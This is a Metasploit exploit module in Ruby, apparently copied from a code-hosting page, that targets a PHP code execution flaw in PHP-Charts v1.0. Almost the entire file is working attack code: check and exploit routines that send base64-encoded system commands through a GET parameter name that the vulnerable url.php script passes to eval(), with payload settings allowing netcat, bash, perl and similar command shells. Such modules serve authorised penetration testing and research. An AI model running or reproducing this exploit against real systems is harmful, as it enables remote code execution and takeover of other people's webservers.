120 lines
3.7 KiB
Ruby
120 lines
3.7 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => "PHP-Charts v1.0 PHP Code Execution Vulnerability",
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'Description' => %q{
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This module exploits a PHP code execution vulnerability in php-Charts
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version 1.0 which could be abused to allow users to execute arbitrary
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PHP code under the context of the webserver user. The 'url.php' script
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calls eval() with user controlled data from any HTTP GET parameter name.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'AkaStep', # Discovery and PoC
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'Brendan Coles <bcoles[at]gmail.com>' # msf exploit
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],
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'References' =>
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[
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['OSVDB', '89334'],
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['BID', '57448'],
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['EDB', '24201']
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],
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'Payload' =>
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{
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'BadChars' => "\x00\x0a\x0d\x22",
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic telnet bash netcat netcat-e perl ruby python',
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}
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},
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'DefaultOptions' =>
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{
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'ExitFunction' => "none"
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},
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Targets' =>
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[
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['Automatic Targeting', { 'auto' => true }]
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],
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'Privileged' => false,
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'DisclosureDate' => "Jan 16 2013",
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The path to the web application', '/php-charts_v1.0/']),
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], self.class)
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end
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def check
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base = target_uri.path
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base << '/' if base[-1, 1] != '/'
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peer = "#{rhost}:#{rport}"
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fingerprint = Rex::Text.rand_text_alphanumeric(rand(8)+4)
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code = Rex::Text.uri_encode(Rex::Text.encode_base64("echo #{fingerprint}"))
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rand_key_value = rand_text_alphanumeric(rand(10)+6)
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# send check
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print_status("#{peer} - Sending check")
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begin
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => "#{base}wizard/url.php?${system(base64_decode(\"#{code}\"))}=#{rand_key_value}"
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})
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if res and res.body =~ /#{fingerprint}/
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return Exploit::CheckCode::Vulnerable
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else
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return Exploit::CheckCode::Safe
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end
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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print_error("#{peer} - Connection failed")
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end
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return Exploit::CheckCode::Unknown
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end
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def exploit
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base = target_uri.path
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base << '/' if base[-1, 1] != '/'
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@peer = "#{rhost}:#{rport}"
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code = Rex::Text.uri_encode(Rex::Text.encode_base64(payload.encoded+"&"))
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rand_key_value = rand_text_alphanumeric(rand(10)+6)
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# send payload
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print_status("#{@peer} - Sending payload (#{code.length} bytes)")
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begin
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => "#{base}wizard/url.php?${system(base64_decode(\"#{code}\"))}=#{rand_key_value}"
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})
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if res and res.code == 500
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print_good("#{@peer} - Payload sent successfully")
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else
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fail_with(Failure::UnexpectedReply, "#{@peer} - Sending payload failed")
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end
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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fail_with(Failure::Unreachable, "#{@peer} - Connection failed")
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end
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end
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end
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